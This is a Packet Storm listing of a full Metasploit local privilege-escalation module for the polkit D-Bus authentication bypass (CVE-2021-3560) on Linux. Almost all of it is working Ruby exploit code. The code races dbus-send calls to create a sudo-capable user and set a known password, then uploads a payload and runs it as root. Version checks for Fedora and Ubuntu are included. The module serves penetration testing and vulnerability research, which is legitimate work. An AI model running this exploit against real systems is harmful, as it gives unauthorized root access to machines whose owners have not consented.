Lucene search

K
packetstormSpencer McIntyrePACKETSTORM:163452
HistoryJul 09, 2021 - 12:00 a.m.

Polkit D-Bus Authentication Bypass

2021-07-0900:00:00
Spencer McIntyre
packetstormsecurity.com
530
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'unix_crypt'  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Post::File  
include Msf::Post::Linux::Priv  
include Msf::Post::Linux::System  
include Msf::Post::Linux::Kernel  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
include Msf::Exploit::Local::Linux  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Polkit D-Bus Authentication Bypass',  
'Description' => %q{  
A vulnerability exists within the polkit system service that can be leveraged by a local, unprivileged  
attacker to perform privileged operations. In order to leverage the vulnerability, the attacker invokes a  
method over D-Bus and kills the client process. This will occasionally cause the operation to complete without  
being subjected to all of the necessary authentication.  
The exploit module leverages this to add a new user with a sudo access and a known password. The new account  
is then leveraged to execute a payload with root privileges.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Kevin Backhouse', # vulnerability discovery and analysis  
'Spencer McIntyre', # metasploit module  
'jheysel-r7' # metasploit module  
],  
'SessionTypes' => ['shell', 'meterpreter'],  
'Platform' => ['unix', 'linux'],  
'References' => [  
['URL', 'https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/'],  
['CVE', '2021-3560'],  
['EDB', '50011']  
],  
'Targets' =>  
[  
[ 'Automatic', {} ],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => '2021-06-03',  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS, SCREEN_EFFECTS],  
'Reliability' => [REPEATABLE_SESSION]  
}  
)  
)  
register_options([  
OptString.new('USERNAME', [ true, 'A username to add as root', 'msf' ], regex: /^[a-z_]([a-z0-9_-]{0,31}|[a-z0-9_-]{0,30}\$)$/),  
OptString.new('PASSWORD', [ true, 'A password to add for the user (default: random)', rand_text_alphanumeric(8)]),  
OptInt.new('TIMEOUT', [true, 'The maximum time in seconds to wait for each request to finish', 30]),  
OptInt.new('ITERATIONS', [ true, 'Due to the race condition the command might have to be run multiple times before it is successful. Use this to define how many times each command is attempted', 20])  
])  
register_advanced_options([  
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])  
])  
end  
  
def get_loop_sequence  
datastore['ITERATIONS'].times.map(&:to_s).join(' ')  
end  
  
def exploit_set_realname(new_realname)  
loop_sequence = get_loop_sequence  
cmd_exec(<<~SCRIPT  
for i in #{loop_sequence}; do  
dbus-send  
--system  
--dest=org.freedesktop.Accounts  
--type=method_call  
--print-reply  
/org/freedesktop/Accounts/User0  
org.freedesktop.Accounts.User.SetRealName  
string:'#{new_realname}' &  
sleep #{@cmd_delay};  
kill $!;  
dbus-send  
--system  
--dest=org.freedesktop.Accounts  
--print-reply  
/org/freedesktop/Accounts/User0  
org.freedesktop.DBus.Properties.Get  
string:org.freedesktop.Accounts.User  
string:RealName  
| grep "string \\"#{new_realname}\\"";  
if [ $? -eq 0 ]; then  
echo success;  
break;  
fi;  
done  
SCRIPT  
.gsub(/\s+/, ' ')) =~ /success/  
end  
  
def executable?(path)  
cmd_exec("test -x '#{path}' && echo true").include? 'true'  
end  
  
def get_cmd_delay  
user = rand_text_alphanumeric(8)  
time_command = "bash -c 'time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:#{user} string:\"#{user}\" int32:1'"  
time = cmd_exec(time_command, nil, datastore['TIMEOUT']).match(/real\s+\d+m(\d+.\d+)s/)  
unless time && time[1]  
print_error("Unable to determine the time taken to run the dbus command, so the exploit cannot continue. Try increasing the TIMEOUT option. The command that failed was: #{time_command}")  
return nil  
end  
  
time_in_seconds = time[1].to_f  
# The dbus-send command timeout is implementation-defined, typically 25 seconds  
# https://dbus.freedesktop.org/doc/dbus-send.1.html#:~:text=25%20seconds  
if time_in_seconds > datastore['TIMEOUT'].to_f || time_in_seconds > 25.00  
print_error('The dbus-send command timed out which means the exploit cannot continue. This is likely due to the session service type being X11 instead of SSH. Please see the module documentation for more information.')  
return nil  
end  
time_in_seconds / 2  
end  
  
def check  
if datastore['TIMEOUT'] < 26  
return CheckCode::Unknown("TIMEOUT is set to less than 26 seconds, so we can't detect if polkit times out or not.")  
end  
  
unless cmd_exec('pkexec --version') =~ /pkexec version (\d+\S*)/  
return CheckCode::Safe('The polkit framework is not installed.')  
end  
  
# The version as returned by pkexec --version is insufficient to identify whether or not the patch is installed. To  
# do that, the distro specific package manager would need to be queried. See #check_via_version.  
polkit_version = Rex::Version.new(Regexp.last_match(1))  
  
unless cmd_exec('dbus-send -h') =~ /Usage: dbus-send/  
return CheckCode::Detected('The dbus-send command is not accessible, however the polkit framework is installed.')  
end  
  
# Calculate the round trip time for the dbus command we want to kill half way through in order to trigger the exploit  
@cmd_delay = get_cmd_delay  
return CheckCode::Unknown('Failed to calculate the round trip time for the dbus command. This is necessary in order to exploit the target.') if @cmd_delay.nil?  
  
status = nil  
print_status('Checking for exploitability via attempt')  
status ||= check_via_attempt  
print_status('Checking for exploitability via version') unless status  
status ||= check_via_version  
status ||= CheckCode::Detected("Detected polkit framework version #{polkit_version}.")  
  
status  
end  
  
def check_via_attempt  
status = nil  
return status unless !is_root? && command_exists?('dbus-send')  
  
# This is required to make the /org/freedesktop/Accounts/User0 object_path available.  
dbus_method_call('/org/freedesktop/Accounts', 'org.freedesktop.Accounts.FindUserByName', 'root')  
# Check for the presence of the vulnerability be exploiting it to set the root user's RealName property to a  
# random string before restoring it.  
result = dbus_method_call('/org/freedesktop/Accounts/User0', 'org.freedesktop.DBus.Properties.Get', 'org.freedesktop.Accounts.User', 'RealName')  
if result =~ /variant\s+string\s+"(.*)"/  
old_realname = Regexp.last_match(1)  
if exploit_set_realname(rand_text_alphanumeric(12))  
status = CheckCode::Vulnerable('The polkit framework instance is vulnerable.')  
unless exploit_set_realname(old_realname)  
print_error('Failed to restore the root user\'s original \'RealName\' property value')  
end  
end  
end  
  
status  
end  
  
def check_via_version  
sysinfo = get_sysinfo  
case sysinfo[:distro]  
when 'fedora'  
if sysinfo[:version] =~ /Fedora( release)? (\d+)/  
distro_version = Regexp.last_match(2).to_i  
if distro_version < 20  
return CheckCode::Safe("Fedora version #{distro_version} is not affected (too old).")  
elsif distro_version < 33  
return CheckCode::Appears("Fedora version #{distro_version} is affected.")  
elsif distro_version == 33  
# see: https://bodhi.fedoraproject.org/updates/FEDORA-2021-3f8d6016c9  
patched_version_string = '0.117-2.fc33.1'  
elsif distro_version == 34  
# see: https://bodhi.fedoraproject.org/updates/FEDORA-2021-0ec5a8a74b  
patched_version_string = '0.117-3.fc34.1'  
elsif distro_version > 34  
return CheckCode::Safe("Fedora version #{distro_version} is not affected.")  
end  
  
result = cmd_exec('dnf list installed "polkit.*"')  
if result =~ /polkit\.\S+\s+(\d\S+)\s+/  
current_version_string = Regexp.last_match(1)  
if Rex::Version.new(current_version_string) < Rex::Version.new(patched_version_string)  
return CheckCode::Appears("Version #{current_version_string} is affected.")  
else  
return CheckCode::Safe("Version #{current_version_string} is not affected.")  
end  
end  
end  
when 'ubuntu'  
result = cmd_exec('apt-cache policy policykit-1')  
if result =~ /\s+Installed: (\S+)$/  
current_version_string = Regexp.last_match(1)  
current_version = Rex::Version.new(current_version_string.gsub(/ubuntu/, '.'))  
  
if current_version < Rex::Version.new('0.105-26')  
# The vulnerability was introduced in 0.105-26  
return CheckCode::Safe("Version #{current_version_string} is not affected (too old, the vulnerability was introduced in 0.105-26).")  
end  
  
# See: https://ubuntu.com/security/notices/USN-4980-1  
# The 'ubuntu' part of the string must be removed for Rex::Version compatibility, treat it as a point place.  
case sysinfo[:version]  
when /21\.04/  
patched_version_string = '0.105-30ubuntu0.1'  
when /20\.10/  
patched_version_string = '0.105-29ubuntu0.1'  
when /20\.04/  
patched_version_string = '0.105-26ubuntu1.1'  
when /19\.10/  
return CheckCode::Appears('Ubuntu 19.10 is affected.')  
end  
# Ubuntu 19.04 and older are *not* affected  
  
if current_version < Rex::Version.new(patched_version_string.gsub(/ubuntu/, '.'))  
return CheckCode::Appears("Version #{current_version_string} is affected.")  
end  
  
return CheckCode::Safe("Version #{current_version_string} is not affected.")  
end  
end  
end  
  
def cmd_exec(*args)  
result = super  
result.gsub(/(\e\(B)?\e\[([;\d]+)?m/, '') # remove ANSI escape sequences from the command output  
end  
  
def dbus_method_call(object_path, interface_member, *args)  
cmd_args = %w[dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply]  
cmd_args << object_path  
cmd_args << interface_member  
args.each do |arg|  
if arg.is_a?(Integer)  
cmd_args << "int32:#{arg}"  
elsif arg.is_a?(String)  
cmd_args << "string:'#{arg}'"  
end  
end  
  
cmd = cmd_args.join(' ')  
vprint_status("Running: #{cmd}")  
cmd_exec(cmd)  
end  
  
def create_unix_crypt_hash  
UnixCrypt::SHA256.build(datastore['PASSWORD'].to_s)  
end  
  
def exploit_set_username(loop_sequence)  
cmd_exec(<<~SCRIPT  
for i in #{loop_sequence}; do  
dbus-send  
--system  
--dest=org.freedesktop.Accounts  
--type=method_call  
--print-reply  
/org/freedesktop/Accounts  
org.freedesktop.Accounts.CreateUser  
string:#{datastore['USERNAME']}  
string:\"#{datastore['USERNAME']}\"  
int32:1 &  
sleep #{@cmd_delay}s;  
kill $!;  
if id #{datastore['USERNAME']}; then  
echo \"success\";  
break;  
fi;  
done  
SCRIPT  
.gsub(/\s+/, ' ')) =~ /success/  
end  
  
def exploit_set_password(uid, hashed_password, loop_sequence)  
cmd_exec(<<~SCRIPT  
for i in #{loop_sequence}; do  
dbus-send  
--system  
--dest=org.freedesktop.Accounts  
--type=method_call  
--print-reply  
/org/freedesktop/Accounts/User#{uid}  
org.freedesktop.Accounts.User.SetPassword  
string:'#{hashed_password}'  
string: &  
sleep #{@cmd_delay}s;  
kill $!;  
echo #{datastore['PASSWORD']}  
| su - #{datastore['USERNAME']}  
-c \"echo #{datastore['PASSWORD']} | sudo -S id\"  
| grep \"uid=0(root)\";  
if [ $? -eq 0 ]; then  
echo \"success\";  
break;  
fi;  
done;  
SCRIPT  
.gsub(/\s+/, ' ')) =~ /success/  
end  
  
def exploit_delete_user(uid, loop_sequence)  
cmd_exec(<<~SCRIPT  
for i in #{loop_sequence}; do  
dbus-send  
--system  
--dest=org.freedesktop.Accounts  
--type=method_call  
--print-reply  
/org/freedesktop/Accounts  
org.freedesktop.Accounts.DeleteUser  
int64:#{uid}  
boolean:true &  
sleep #{@cmd_delay}s;  
kill $!;  
if id #{datastore['USERNAME']}; then  
echo \"failed\";  
else  
echo \"success\";  
break;  
fi;  
done  
SCRIPT  
.gsub(/\s+/, ' ')) =~ /success/  
end  
  
def upload(path, data)  
print_status("Writing '#{path}' (#{data.size} bytes) ...")  
rm_f(path)  
write_file(path, data)  
register_file_for_cleanup(path)  
end  
  
def upload_and_chmodx(path, data)  
upload(path, data)  
chmod(path)  
end  
  
def upload_payload  
fname = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(5)}"  
upload_and_chmodx(fname, generate_payload_exe)  
return nil unless file_exist?(fname)  
  
fname  
end  
  
def execute_payload(fname)  
cmd_exec("echo #{datastore['PASSWORD']} | su - #{datastore['USERNAME']} -c \"echo #{datastore['PASSWORD']} | sudo -S #{fname}\"")  
end  
  
def exploit  
fail_with(Failure::NotFound, 'Failed to find the su command which this exploit depends on.') unless command_exists?('su')  
fail_with(Failure::NotFound, 'Failed to find the dbus-send command which this exploit depends on.') unless command_exists?('dbus-send')  
if datastore['TIMEOUT'] < 26  
fail_with(Failure::BadConfig, "TIMEOUT is set to less than 26 seconds, so we can't detect if dbus-send times out or not.")  
end  
  
if @cmd_delay.nil?  
# cmd_delay wasn't set yet which is needed for the rest of the exploit to operate,  
# likely cause the check method wasn't executed. Lets set it so long.  
  
# Calculate the round trip time for the dbus command we want to kill half way through in order to trigger the exploit  
@cmd_delay = get_cmd_delay  
fail_with(Failure::Unknown, 'Failed to calculate the round trip time for the dbus command. This is necessary in order to exploit the target.') if @cmd_delay.nil?  
end  
  
print_status("Attempting to create user #{datastore['USERNAME']}")  
loop_sequence = get_loop_sequence  
  
fail_with(Failure::BadConfig, "The user #{datastore['USERNAME']} was unable to be created. Try increasing the ITERATIONS amount.") unless exploit_set_username(loop_sequence)  
uid = cmd_exec("id -u #{datastore['USERNAME']}")  
print_good("User #{datastore['USERNAME']} created with UID #{uid}")  
print_status("Attempting to set the password of the newly created user, #{datastore['USERNAME']}, to: #{datastore['PASSWORD']}")  
if exploit_set_password(uid, create_unix_crypt_hash, loop_sequence)  
print_good('Obtained code execution as root!')  
fname = upload_payload  
execute_payload(fname)  
else  
print_error("Attempted to set the password #{datastore['Iterations']} times, did not work.")  
end  
  
print_status('Attempting to remove the user added: ')  
if exploit_delete_user(uid, loop_sequence)  
print_good("Successfully removed #{datastore['USERNAME']}")  
else  
print_warning("Unable to remove user: #{datastore['USERNAME']}, created during the running of this module")  
end  
end  
end  
`